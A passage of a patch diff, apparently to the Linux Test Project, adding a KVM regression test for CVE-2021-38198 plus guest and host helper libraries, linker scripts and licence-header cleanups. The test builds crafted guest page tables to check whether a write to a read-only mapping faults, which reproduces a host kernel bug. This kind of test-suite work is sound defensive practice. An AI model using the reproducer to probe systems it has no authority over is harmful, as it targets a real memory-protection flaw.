+	memset(writable, 0, 5 * PAGESIZE);
+	tmp = (uintptr_t)writable;
+	pte[4].address = tmp >> 12;
+	pte[4].user_access = 1;
+	pte[4].writable = 1;
+	pte[4].present = 1;
+	pte[5] = pte[4];
+	pte[5].writable = 0;
+
+	subpte = (struct page_table_entry_pae *)tmp;
+	subpte[0].address = (tmp + PAGESIZE) >> 12;
+	subpte[0].user_access = 1;
+	subpte[0].writable = 0;
+	subpte[0].present = 1;
+	subpte[1].address = (tmp + 2 * PAGESIZE) >> 12;
+	subpte[1].user_access = 1;
+	subpte[1].writable = 1;
+	subpte[1].present = 1;
+
+	subpte = (struct page_table_entry_pae *)(tmp + PAGESIZE);
+	subpte[0].address = (tmp + 3 * PAGESIZE) >> 12;
+	subpte[0].user_access = 1;
+	subpte[0].writable = 1;
+	subpte[0].present = 1;
+
+	subpte = (struct page_table_entry_pae *)(tmp + 2 * PAGESIZE);
+	subpte[0].address = (tmp + 4 * PAGESIZE) >> 12;
+	subpte[0].user_access = 1;
+	subpte[0].writable = 1;
+	subpte[0].present = 1;
+
+	/* Create pointers into the new mapping */
+	cacher1 = (int *)0x100000000ULL;
+	writable = (int *)0x100200000ULL;
+	cacher2 = (int *)0x140000000ULL;
+	readonly = (int *)0x140200000ULL;
+	tst_set_interrupt_callback(INTR_PAGE_FAULT, handle_page_fault,
+		readonly);
+
+	/* Fill page table cache */
+	val = *cacher1;
+	*writable = val;
+	val = *cacher2;
+
+	/* Trigger page fault (unless the kernel is vulnerable) */
+	*readonly = val;
+
+	/* This line should be unreachable */
+	tst_res(TFAIL, "Write to read-only address did not page fault");
+}
+
+#else /* __x86_64__ */
+TST_TEST_TCONF("Test supported only on x86_64");
+#endif /* __x86_64__ */
+
+#else /* COMPILE_PAYLOAD */
+
+#include <ctype.h>
+#include <stdio.h>
+#include <unistd.h>
+#include "tst_module.h"
+
+#define TDP_MMU_SYSFILE "/sys/module/kvm/parameters/tdp_mmu"
+#define TDP_AMD_SYSFILE "/sys/module/kvm_amd/parameters/npt"
+#define TDP_INTEL_SYSFILE "/sys/module/kvm_intel/parameters/ept"
+
+#define BUF_SIZE 64
+
+static int read_bool_sys_param(const char *filename)
+{
+	char buf[BUF_SIZE];
+	int i, fd, ret;
+
+	fd = open(filename, O_RDONLY);
+
+	if (fd < 0)
+		return -1;
+
+	ret = read(fd, buf, BUF_SIZE - 1);
+	SAFE_CLOSE(fd);
+
+	if (ret < 1)
+		return -1;
+
+	buf[ret] = '\0';
+
+	for (i = 0; buf[i] && !isspace(buf[i]); i++)
+		;
+
+	buf[i] = '\0';
+
+	if (isdigit(buf[0])) {
+		tst_parse_int(buf, &ret, INT_MIN, INT_MAX);
+		return ret;
+	}
+
+	if (!strcasecmp(buf, "N"))
+		return 0;
+
+	/* Assume that any other value than 0 or N means the param is enabled */
+	return 1;
+}
+
+static void reload_module(const char *module, char *arg)
+{
+	const char *const argv[] = {"modprobe", module, arg, NULL};
+
+	tst_res(TINFO, "Reloading module %s with parameter %s", module, arg);
+	tst_module_unload(module);
+	tst_cmd(argv, NULL, NULL, 0);
+}
+
+static void disable_tdp(void)
+{
+	if (!access(TDP_MMU_SYSFILE, F_OK)) {
+		/* FIXME: Is setting tdp_mmu=0 sufficient to disable TDP? */
+		return;
+	}
+
+	if (read_bool_sys_param(TDP_AMD_SYSFILE) > 0)
+		reload_module("kvm_amd", "npt=0");
+
+	if (read_bool_sys_param(TDP_INTEL_SYSFILE) > 0)
+		reload_module("kvm_intel", "ept=0");
+}
+
+static void setup(void)
+{
+	disable_tdp();
+	tst_kvm_setup();
+}
+
+static struct tst_test test = {
+	.test_all = tst_kvm_run,
+	.setup = setup,
+	.cleanup = tst_kvm_cleanup,
+	.needs_root = 1,
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/sys/module/kvm/parameters/tdp_mmu", "0"},
+		{}
+	},
+	.supported_archs = (const char *const []) {
+		"x86_64",
+		NULL
+	},
+	.tags = (struct tst_tag[]){
+		{"linux-git", "b1bd5cba3306"},
+		{"CVE", "2021-38198"},
+		{}
+	}
+};
+
+#endif /* COMPILE_PAYLOAD */
diff --git a/testcases/kernel/kvm/lib_guest.c b/testcases/kernel/kvm/lib_guest.c
new file mode 100644
index 0000000..d237293
--- /dev/null
+++ b/testcases/kernel/kvm/lib_guest.c
@@ -0,0 +1,179 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
+ *
+ * Minimal testing library for KVM tests
+ */
+
+#include "kvm_test.h"
+
+extern char kvm_heap_begin[];
+
+static struct tst_kvm_result *const test_result =
+	(struct tst_kvm_result *)KVM_RESULT_BASEADDR;
+
+static char *heap_end = kvm_heap_begin;
+
+static struct tst_intr_handler {
+	tst_interrupt_callback callback;
+	void *userdata;
+} intr_handlers[INTERRUPT_COUNT];
+
+void *memset(void *dest, int val, size_t size)
+{
+	char *ptr = dest;
+
+	while (size--)
+		*ptr++ = val;
+
+	return dest;
+}
+
+void *memzero(void *dest, size_t size)
+{
+	return memset(dest, 0, size);
+}
+
+void *memcpy(void *dest, const void *src, size_t size)
+{
+	char *dptr = dest;
+	const char *sptr = src;
+
+	while (size--)
+		*dptr++ = *sptr++;
+
+	return dest;
+}
+
+char *strcpy(char *dest, const char *src)
+{
+	char *ret = dest;
+
+	while ((*dest++ = *src++))
+		;
+
+	return ret;
+}
+
+char *strcat(char *dest, const char *src)
+{
+	char *ret = dest;
+
+	for (; *dest; dest++)
+		;
+
+	strcpy(dest, src);
+	return ret;
+}
+
+size_t strlen(const char *str)
+{
+	size_t ret;
+
+	for (ret = 0; str[ret]; ret++)
+		;
+
+	return ret;
+}
+
+char *ptr2hex(char *dest, uintptr_t val)
+{
+	unsigned int i;
+	uintptr_t tmp;
+	char *ret = dest;
+
+	for (i = 4; val >> i; i += 4)
+		;
+
+	do {
+		i -= 4;
+		tmp = (val >> i) & 0xf;
+		*dest++ = tmp + (tmp >= 10 ? 'A' - 10 : '0');
+	} while (i);
+
+	*dest = '\0';
+	return ret;
+}
+
+void *tst_heap_alloc_aligned(size_t size, size_t align)
+{
+	uintptr_t addr = (uintptr_t)heap_end;
+	void *ret;
+
+	addr += align - 1;
+	addr -= addr % align;
+	ret = (void *)addr;
+	heap_end = (char *)LTP_ALIGN(addr + size, 4);
+	return ret;
+}
+
+void *tst_heap_alloc(size_t size)
+{
+	void *ret = heap_end;
+
+	heap_end += LTP_ALIGN(size, 4);
+	return ret;
+}
+
+void tst_set_interrupt_callback(unsigned int vector,
+	tst_interrupt_callback func, void *userdata)
+{
+	if (vector >= INTERRUPT_COUNT)
+		tst_brk(TBROK, "Set interrupt callback: vector out of range");
+
+	intr_handlers[vector].callback = func;
+	intr_handlers[vector].userdata = userdata;
+}
+
+static void tst_fatal_error(const char *file, const int lineno,
+	const char *message, uintptr_t ip)
+{
+	test_result->result = TBROK;
+	test_result->lineno = lineno;
+	test_result->file_addr = (uintptr_t)file;
+	strcpy(test_result->message, message);
+	strcat(test_result->message, " at address 0x");
+	ptr2hex(test_result->message + strlen(test_result->message), ip);
+	kvm_yield();
+	kvm_exit();
+}
+
+void tst_res_(const char *file, const int lineno, int result,
+	const char *message)
+{
+	test_result->result = result;
+	test_result->lineno = lineno;
+	test_result->file_addr = (uintptr_t)file;
+	strcpy(test_result->message, message);
+	kvm_yield();
+}
+
+void tst_brk_(const char *file, const int lineno, int result,
+	const char *message)
+{
+	tst_res_(file, lineno, result, message);
+	kvm_exit();
+}
+
+void tst_handle_interrupt(struct kvm_interrupt_frame *ifrm, long vector,
+	unsigned long errcode)
+{
+	uintptr_t ip = kvm_get_interrupt_ip(ifrm);
+	const char *iname;
+	tst_interrupt_callback callback;
+	int ret = 0;
+
+	if (vector < 0 || vector >= INTERRUPT_COUNT)
+		tst_fatal_error(__FILE__, __LINE__, "Unexpected interrupt", ip);
+
+	callback = intr_handlers[vector].callback;
+
+	if (callback)
+		ret = callback(intr_handlers[vector].userdata, ifrm, errcode);
+
+	iname = tst_interrupt_names[vector];
+	iname = iname ? iname : "Unexpected interrupt";
+
+	if (!ret)
+		tst_fatal_error(__FILE__, __LINE__, iname, ip);
+}
diff --git a/testcases/kernel/kvm/lib_host.c b/testcases/kernel/kvm/lib_host.c
new file mode 100644
index 0000000..2782e68
--- /dev/null
+++ b/testcases/kernel/kvm/lib_host.c
@@ -0,0 +1,291 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
+ *
+ * KVM host library for setting up and running virtual machine tests.
+ */
+
+#include <stdlib.h>
+#include <errno.h>
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+#include "kvm_host.h"
+
+static struct tst_kvm_instance test_vm = { .vm_fd = -1 };
+
+const unsigned char tst_kvm_reset_code[VM_RESET_CODE_SIZE] = {
+	0xea, 0x00, 0x10, 0x00, 0x00	/* JMP 0x1000 */
+};
+
+void tst_kvm_validate_result(int value)
+{
+	int ttype, valid_result[] = {TPASS, TFAIL, TBROK, TWARN, TINFO, TCONF};
+	size_t i;
+
+	if (value == KVM_TNONE)
+		tst_brk(TBROK, "KVM test did not return any result");
+
+	ttype = TTYPE_RESULT(value);
+
+	for (i = 0; i < ARRAY_SIZE(valid_result); i++) {
+		if (ttype == valid_result[i])
+			return;
+	}
+
+	tst_brk(TBROK, "KVM test returned invalid result value %d", value);
+}
+
+uint64_t tst_kvm_get_phys_address(const struct tst_kvm_instance *inst,
+	uint64_t addr)
+{
+	struct kvm_translation trans = { .linear_address = addr };
+
+	TEST(ioctl(inst->vcpu_fd, KVM_TRANSLATE, &trans));
+
+	/* ioctl(KVM_TRANSLATE) is not implemented for this arch */
+	if (TST_RET == -1 && TST_ERR == EINVAL)
+		return addr;
+
+	if (TST_RET == -1)
+		tst_brk(TBROK | TTERRNO, "ioctl(KVM_TRANSLATE) failed");
+
+	if (TST_RET) {
+		tst_brk(TBROK | TTERRNO,
+			"Invalid ioctl(KVM_TRANSLATE) return value");
+	}
+
+	return trans.valid ? trans.physical_address : 0;
+}
+
+int tst_kvm_find_phys_memslot(const struct tst_kvm_instance *inst,
+	uint64_t paddr)
+{
+	int i;
+	uint64_t base;
+
+	for (i = 0; i < MAX_KVM_MEMSLOTS; i++) {
+		if (!inst->ram[i].userspace_addr)
+			continue;
+
+		base = inst->ram[i].guest_phys_addr;
+
+		if (paddr >= base && paddr - base < inst->ram[i].memory_size)
+			return i;
+	}
+
+	return -1;
+}
+
+int tst_kvm_find_memslot(const struct tst_kvm_instance *inst, uint64_t addr)
+{
+	addr = tst_kvm_get_phys_address(inst, addr);
+
+	if (!addr)
+		return -1;
+
+	return tst_kvm_find_phys_memslot(inst, addr);
+}
+
+void *tst_kvm_get_memptr(const struct tst_kvm_instance *inst, uint64_t addr)
+{
+	int slot;
+	char *ret;
+
+	addr = tst_kvm_get_phys_address(inst, addr);
+
+	if (!addr)
+		return NULL;
+
+	slot = tst_kvm_find_phys_memslot(inst, addr);
+
+	if (slot < 0)
+		return NULL;
+
+	ret = (char *)(uintptr_t)inst->ram[slot].userspace_addr;
+	return ret + (addr - inst->ram[slot].guest_phys_addr);
+}
+
+void tst_kvm_print_result(const struct tst_kvm_instance *inst)
+{
+	int ttype;
+	const struct tst_kvm_result *result = inst->result;
+	const char *file;
+
+	tst_kvm_validate_result(result->result);
+	ttype = TTYPE_RESULT(result->result);
+	file = tst_kvm_get_memptr(inst, result->file_addr);
+
+	if (ttype == TBROK)
+		tst_brk_(file, result->lineno, ttype, "%s", result->message);
+	else
+		tst_res_(file, result->lineno, ttype, "%s", result->message);
+}
+
+void *tst_kvm_alloc_memory(struct tst_kvm_instance *inst, unsigned int slot,
+	uint64_t baseaddr, size_t size, unsigned int flags)
+{
+	size_t pagesize, offset;
+	char *ret;
+	struct kvm_userspace_memory_region memslot = {
+		.slot = slot,
+		.flags = flags
+	};
+
+	if (slot >= MAX_KVM_MEMSLOTS)
+		tst_brk(TBROK, "Invalid KVM memory slot %u", slot);
+
+	pagesize = SAFE_SYSCONF(_SC_PAGESIZE);
+	offset = baseaddr % pagesize;
+	size = LTP_ALIGN(size + offset, pagesize);
+	ret = tst_alloc(size);
+
+	memslot.guest_phys_addr = baseaddr - offset;
+	memslot.memory_size = size;
+	memslot.userspace_addr = (uintptr_t)ret;
+	SAFE_IOCTL(inst->vm_fd, KVM_SET_USER_MEMORY_REGION, &memslot);
+	inst->ram[slot] = memslot;
+	return ret;
+}
+
+struct kvm_cpuid2 *tst_kvm_get_cpuid(int sysfd)
+{
+	unsigned int count;
+	int result;
+	struct kvm_cpuid2 *ret;
+
+	if (!SAFE_IOCTL(sysfd, KVM_CHECK_EXTENSION, KVM_CAP_EXT_CPUID))
+		return NULL;
+
+	for (count = 8; count < 1 << 30; count *= 2) {
+		ret = SAFE_MALLOC(sizeof(struct kvm_cpuid2) +
+			count * sizeof(struct kvm_cpuid_entry2));
+		ret->nent = count;
+		errno = 0;
+		result = ioctl(sysfd, KVM_GET_SUPPORTED_CPUID, ret);
+
+		if (!result)
+			return ret;
+
+		free(ret);
+
+		if (errno != E2BIG)
+			break;
+	}
+
+	tst_brk(TBROK | TERRNO, "ioctl(KVM_GET_SUPPORTED_CPUID) failed");
+	return NULL;
+}
+
+void tst_kvm_create_instance(struct tst_kvm_instance *inst, size_t ram_size)
+{
+	int sys_fd;
+	size_t pagesize, result_pageaddr = KVM_RESULT_BASEADDR;
+	char *buf, *reset_ptr;
+	struct kvm_cpuid2 *cpuid_data;
+	const size_t payload_size = kvm_payload_end - kvm_payload_start;
+
+	memset(inst, 0, sizeof(struct tst_kvm_instance));
+	inst->vm_fd = -1;
+	inst->vcpu_fd = -1;
+	inst->vcpu_info = MAP_FAILED;
+
+	pagesize = SAFE_SYSCONF(_SC_PAGESIZE);
+	result_pageaddr -= result_pageaddr % pagesize;
+
+	if (payload_size + MIN_FREE_RAM > ram_size - VM_KERNEL_BASEADDR) {
+		ram_size = payload_size + MIN_FREE_RAM + VM_KERNEL_BASEADDR;
+		ram_size = LTP_ALIGN(ram_size, 1024 * 1024);
+		tst_res(TWARN, "RAM size increased to %zu bytes", ram_size);
+	}
+
+	if (ram_size > result_pageaddr) {
+		ram_size = result_pageaddr;
+		tst_res(TWARN, "RAM size truncated to %zu bytes", ram_size);
+	}
+
+	sys_fd = SAFE_OPEN("/dev/kvm", O_RDWR);
+	inst->vcpu_info_size = SAFE_IOCTL(sys_fd, KVM_GET_VCPU_MMAP_SIZE, 0);
+	inst->vm_fd = SAFE_IOCTL(sys_fd, KVM_CREATE_VM, 0);
+	cpuid_data = tst_kvm_get_cpuid(sys_fd);
+	SAFE_CLOSE(sys_fd);
+
+	inst->vcpu_fd = SAFE_IOCTL(inst->vm_fd, KVM_CREATE_VCPU, 0);
+
+	if (cpuid_data) {
+		SAFE_IOCTL(inst->vcpu_fd, KVM_SET_CPUID2, cpuid_data);
+		free(cpuid_data);
+	}
+
+	inst->vcpu_info = SAFE_MMAP(NULL, inst->vcpu_info_size,
+		PROT_READ | PROT_WRITE, MAP_SHARED, inst->vcpu_fd, 0);
+
+	buf = tst_kvm_alloc_memory(inst, 0, 0, ram_size, 0);
+	memcpy(buf + VM_KERNEL_BASEADDR, kvm_payload_start, payload_size);
+	buf = tst_kvm_alloc_memory(inst, 1, KVM_RESULT_BASEADDR,
+		KVM_RESULT_SIZE, 0);
+	memset(buf, 0, KVM_RESULT_SIZE);
+
+	reset_ptr = buf + (VM_RESET_BASEADDR % pagesize);
+	memcpy(reset_ptr, tst_kvm_reset_code, sizeof(tst_kvm_reset_code));
+	inst->result = (struct tst_kvm_result *)(buf +
+		(KVM_RESULT_BASEADDR % pagesize));
+	inst->result->result = KVM_TNONE;
+	inst->result->message[0] = '\0';
+}
+
+void tst_kvm_run_instance(struct tst_kvm_instance *inst)
+{
+	struct kvm_regs regs;
+
+	while (1) {
+		inst->result->result = KVM_TNONE;
+		inst->result->message[0] = '\0';
+		SAFE_IOCTL(inst->vcpu_fd, KVM_RUN, 0);
+
+		if (inst->vcpu_info->exit_reason != KVM_EXIT_HLT) {
+			SAFE_IOCTL(inst->vcpu_fd, KVM_GET_REGS, &regs);
+			tst_brk(TBROK,
+				"Unexpected VM exit, RIP=0x%llx, reason=%u",
+				regs.rip, inst->vcpu_info->exit_reason);
+		}
+
+		if (inst->result->result == KVM_TEXIT)
+			break;
+
+		tst_kvm_print_result(inst);
+	}
+}
+
+void tst_kvm_destroy_instance(struct tst_kvm_instance *inst)
+{
+	if (inst->vm_fd < 0)
+		return;
+
+	if (inst->vcpu_info != MAP_FAILED)
+		SAFE_MUNMAP(inst->vcpu_info, inst->vcpu_info_size);
+
+	if (inst->vcpu_fd >= 0)
+		SAFE_CLOSE(inst->vcpu_fd);
+
+	SAFE_CLOSE(inst->vm_fd);
+	memset(inst->ram, 0, sizeof(inst->ram));
+}
+
+void tst_kvm_setup(void)
+{
+
+}
+
+void tst_kvm_run(void)
+{
+	tst_kvm_create_instance(&test_vm, DEFAULT_RAM_SIZE);
+	tst_kvm_run_instance(&test_vm);
+	tst_kvm_destroy_instance(&test_vm);
+	tst_free_all();
+}
+
+void tst_kvm_cleanup(void)
+{
+	tst_kvm_destroy_instance(&test_vm);
+}
diff --git a/testcases/kernel/kvm/lib_x86.c b/testcases/kernel/kvm/lib_x86.c
new file mode 100644
index 0000000..dc2354b
--- /dev/null
+++ b/testcases/kernel/kvm/lib_x86.c
@@ -0,0 +1,150 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
+ *
+ * x86-specific KVM helper functions
+ */
+
+#include "kvm_x86.h"
+
+struct kvm_interrupt_frame {
+	uintptr_t eip, cs, eflags, esp, ss;
+};
+
+const char *tst_interrupt_names[INTERRUPT_COUNT] = {
+	"Division by zero",
+	"Debug interrupt",
+	"Non-maskable interrupt",
+	"Breakpoint",
+	"Arithmetic overflow",
+	"Bound range exception",
+	"Illegal instruction error",
+	"Device not available error",
+	"Double fault",
+	NULL,
+	"Invalid TSS error",
+	"Segment not present error",
+	"Stack segment fault",
+	"General protection fault",
+	"Page fault",
+	NULL,
+	"Floating point exception",
+	"Alignment error",
+	"Machine check exception",
+	"SIMD floating point exception",
+	"Virtualization exception",
+	"Control protection exception",
+	NULL,
+	NULL,
+	NULL,
+	NULL,
+	NULL,
+	NULL,
+	"Hypervisor injection exception",
+	"VMM communication exception",
+	"Security exception",
+	NULL
+};
+
+static uintptr_t intr_handlers[] = {
+	(uintptr_t)kvm_handle_zerodiv,
+	(uintptr_t)kvm_handle_debug,
+	(uintptr_t)kvm_handle_nmi,
+	(uintptr_t)kvm_handle_breakpoint,
+	(uintptr_t)kvm_handle_overflow,
+	(uintptr_t)kvm_handle_bound_range_exc,
+	(uintptr_t)kvm_handle_bad_opcode,
+	(uintptr_t)kvm_handle_device_error,
+	(uintptr_t)kvm_handle_double_fault,
+	(uintptr_t)kvm_handle_bad_exception,
+	(uintptr_t)kvm_handle_invalid_tss,
+	(uintptr_t)kvm_handle_segfault,
+	(uintptr_t)kvm_handle_stack_fault,
+	(uintptr_t)kvm_handle_gpf,
+	(uintptr_t)kvm_handle_page_fault,
+	(uintptr_t)kvm_handle_bad_exception,
+	(uintptr_t)kvm_handle_fpu_error,
+	(uintptr_t)kvm_handle_alignment_error,
+	(uintptr_t)kvm_handle_machine_check,
+	(uintptr_t)kvm_handle_simd_error,
+	(uintptr_t)kvm_handle_virt_error,
+	(uintptr_t)kvm_handle_cpe,
+	(uintptr_t)kvm_handle_bad_exception,
+	(uintptr_t)kvm_handle_bad_exception,
+	(uintptr_t)kvm_handle_bad_exception,
+	(uintptr_t)kvm_handle_bad_exception,
+	(uintptr_t)kvm_handle_bad_exception,
+	(uintptr_t)kvm_handle_bad_exception,
+	(uintptr_t)kvm_handle_hv_injection,
+	(uintptr_t)kvm_handle_vmm_comm,
+	(uintptr_t)kvm_handle_security_error,
+	(uintptr_t)kvm_handle_bad_exception,
+	0
+};
+
+static void kvm_set_intr_handler(unsigned int id, uintptr_t func)
+{
+	memset(kvm_idt + id, 0, sizeof(kvm_idt[0]));
+	kvm_idt[id].offset_lo = func & 0xffff;
+	kvm_idt[id].offset_hi = func >> 16;
+	kvm_idt[id].selector = 8;
+	kvm_idt[id].flags = 0x8f;	/* type = 0xf, P = 1 */
+}
+
+void kvm_init_interrupts(void)
+{
+	int i;
+
+	for (i = 0; intr_handlers[i]; i++)
+		kvm_set_intr_handler(i, intr_handlers[i]);
+
+	for (; i < X86_INTR_COUNT; i++)
+		kvm_set_intr_handler(i, (uintptr_t)kvm_handle_bad_exception);
+}
+
+uintptr_t kvm_get_page_address_pae(const struct page_table_entry_pae *entry)
+{
+	if (!entry->present)
+		return 0;
+
+	return entry->address << 12;
+}
+
+void kvm_get_cpuid(unsigned int eax, unsigned int ecx, struct kvm_cpuid *buf)
+{
+	asm (
+		"cpuid\n"
+		: "=a" (buf->eax), "=b" (buf->ebx), "=c" (buf->ecx),
+			"=d" (buf->edx)
+		: "0" (eax), "2" (ecx)
+	);
+}
+
+uint64_t kvm_rdmsr(unsigned int msr)
+{
+	unsigned int ret_lo, ret_hi;
+
+	asm (
+		"rdmsr\n"
+		: "=a" (ret_lo), "=d" (ret_hi)
+		: "c" (msr)
+	);
+
+	return (((uint64_t)ret_hi) << 32) | ret_lo;
+}
+
+void kvm_wrmsr(unsigned int msr, uint64_t value)
+{
+	uint32_t val_lo = value & 0xffffffff, val_hi = value >> 32;
+
+	asm (
+		"wrmsr\n"
+		:
+		: "a" (val_lo), "d" (val_hi), "c" (msr)
+	);
+}
+
+uintptr_t kvm_get_interrupt_ip(const struct kvm_interrupt_frame *ifrm)
+{
+	return ifrm->eip;
+}
diff --git a/testcases/kernel/kvm/linker/payload.lds b/testcases/kernel/kvm/linker/payload.lds
new file mode 100644
index 0000000..a544fd3
--- /dev/null
+++ b/testcases/kernel/kvm/linker/payload.lds
@@ -0,0 +1,11 @@
+TARGET(binary)
+
+SECTIONS
+{
+	.data :
+	{
+		kvm_payload_start = .;
+		KEEP(*(.data))
+		kvm_payload_end = .;
+	}
+}
diff --git a/testcases/kernel/kvm/linker/x86.lds b/testcases/kernel/kvm/linker/x86.lds
new file mode 100644
index 0000000..f1546de
--- /dev/null
+++ b/testcases/kernel/kvm/linker/x86.lds
@@ -0,0 +1,74 @@
+OUTPUT_FORMAT(elf32-i386)
+
+PHDRS
+{
+	headers PT_PHDR PHDRS ;
+	text PT_LOAD FILEHDR PHDRS ;
+	bss PT_LOAD ;
+}
+
+SECTIONS
+{
+	/DISCARD/ :
+	{
+		  *(.note.gnu.* .comment)
+	}
+
+	. = 0x1000;
+	.init.boot :
+	{
+		*(.init.protected_mode)
+		*(.data.gdt32)
+		*(.init.memlayout)
+	} :text
+
+	.text :
+	{
+		*(.rodata .rodata.*)
+		*(.text.unlikely .text.unlikely.*)
+		*(.text.startup .text.startup.*)
+		*(.text .text.*)
+		*(.gnu.linkonce.t.*)
+	}
+
+	.init :
+	{
+		KEEP (*(SORT_NONE(.init)))
+	}
+
+	.data :
+	{
+		*(.data.strings)
+		*(.data)
+	}
+
+	.preinit_array :
+	{
+		PROVIDE_HIDDEN (__preinit_array_begin = .);
+		KEEP (*(.preinit_array))
+		PROVIDE_HIDDEN (__preinit_array_end = .);
+	}
+
+	.init_array :
+	{
+		PROVIDE_HIDDEN (__init_array_begin = .);
+		KEEP (*(SORT_BY_INIT_PRIORITY(.init_array.*) SORT_BY_INIT_PRIORITY(.ctors.*)))
+		KEEP (*(.init_array EXCLUDE_FILE (*crtbegin.o *crtbegin?.o *crtend.o *crtend?.o ) .ctors))
+		PROVIDE_HIDDEN (__init_array_end = .);
+	}
+
+	.bss.pgtables : ALIGN(4096)
+	{
+		*(.bss.pgtables)
+	} :bss
+
+	.bss : ALIGN(4096)
+	{
+		*(.bss.stack)
+		*(.bss.tss)
+		*(.bss)
+
+		. = ALIGN(4096);
+		kvm_heap_begin = .;
+	}
+}
diff --git a/testcases/kernel/kvm/linker/x86_64.lds b/testcases/kernel/kvm/linker/x86_64.lds
new file mode 100644
index 0000000..000bb03
--- /dev/null
+++ b/testcases/kernel/kvm/linker/x86_64.lds
@@ -0,0 +1,74 @@
+OUTPUT_FORMAT(elf64-x86-64)
+
+PHDRS
+{
+	headers PT_PHDR PHDRS ;
+	text PT_LOAD FILEHDR PHDRS ;
+	bss PT_LOAD ;
+}
+
+SECTIONS
+{
+	/DISCARD/ :
+	{
+		  *(.note.gnu.* .comment)
+	}
+
+	. = 0x1000;
+	.init.boot :
+	{
+		*(.init.protected_mode)
+		*(.data.gdt32)
+		*(.init.memlayout)
+	} :text
+
+	.text :
+	{
+		*(.rodata .rodata.*)
+		*(.text.unlikely .text.unlikely.*)
+		*(.text.startup .text.startup.*)
+		*(.text .text.*)
+		*(.gnu.linkonce.t.*)
+	}
+
+	.init :
+	{
+		KEEP (*(SORT_NONE(.init)))
+	}
+
+	.data :
+	{
+		*(.data.strings)
+		*(.data)
+	}
+
+	.preinit_array :
+	{
+		PROVIDE_HIDDEN (__preinit_array_begin = .);
+		KEEP (*(.preinit_array))
+		PROVIDE_HIDDEN (__preinit_array_end = .);
+	}
+
+	.init_array :
+	{
+		PROVIDE_HIDDEN (__init_array_begin = .);
+		KEEP (*(SORT_BY_INIT_PRIORITY(.init_array.*) SORT_BY_INIT_PRIORITY(.ctors.*)))
+		KEEP (*(.init_array EXCLUDE_FILE (*crtbegin.o *crtbegin?.o *crtend.o *crtend?.o ) .ctors))
+		PROVIDE_HIDDEN (__init_array_end = .);
+	}
+
+	.bss.pgtables : ALIGN(4096)
+	{
+		*(.bss.pgtables)
+	} :bss
+
+	.bss : ALIGN(4096)
+	{
+		*(.bss.stack)
+		*(.bss.tss)
+		*(.bss)
+
+		. = ALIGN(4096);
+		kvm_heap_begin = .;
+	}
+}
diff --git a/testcases/kernel/lib/Makefile b/testcases/kernel/lib/Makefile
index fabf2f0..b0cf296 100644
--- a/testcases/kernel/lib/Makefile
+++ b/testcases/kernel/lib/Makefile
@@ -1,22 +1,5 @@
-#
-#    kernel/lib Makefile.
-#
-#    Copyright (C) 2012, Linux Test Project.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2012, Linux Test Project.
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/kernel/logging/Makefile b/testcases/kernel/logging/Makefile
index bd32f70..1b8c9a2 100644
--- a/testcases/kernel/logging/Makefile
+++ b/testcases/kernel/logging/Makefile
@@ -1,20 +1,5 @@
-#
-#  Copyright (C) 2013 Linux Test Project
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2013 Linux Test Project
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/kernel/logging/kmsg/Makefile b/testcases/kernel/logging/kmsg/Makefile
index 67b29d6..2734599 100644
--- a/testcases/kernel/logging/kmsg/Makefile
+++ b/testcases/kernel/logging/kmsg/Makefile
@@ -1,20 +1,5 @@
-#
-#  Copyright (C) 2013 Linux Test Project
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2013 Linux Test Project
 
 top_srcdir              ?= ../../../..
 
diff --git a/testcases/kernel/logging/kmsg/kmsg01.c b/testcases/kernel/logging/kmsg/kmsg01.c
index 34c6073..bf2de57 100644
--- a/testcases/kernel/logging/kmsg/kmsg01.c
+++ b/testcases/kernel/logging/kmsg/kmsg01.c
@@ -384,7 +384,7 @@
 {
 	int i, fd;
 	char msg[MAX_MSGSIZE];
-	unsigned long first_seqno, seqno;
+	unsigned long first_seqno = 0, seqno;
 	char filler_str[] = "<7>"MSG_PREFIX"FILLER MESSAGE TO OVERWRITE OTHERS\n";
 
 	/* Keep injecting messages until we overwrite first one.
diff --git a/testcases/kernel/mem/Makefile b/testcases/kernel/mem/Makefile
index eb8f3a4..6e9a471 100644
--- a/testcases/kernel/mem/Makefile
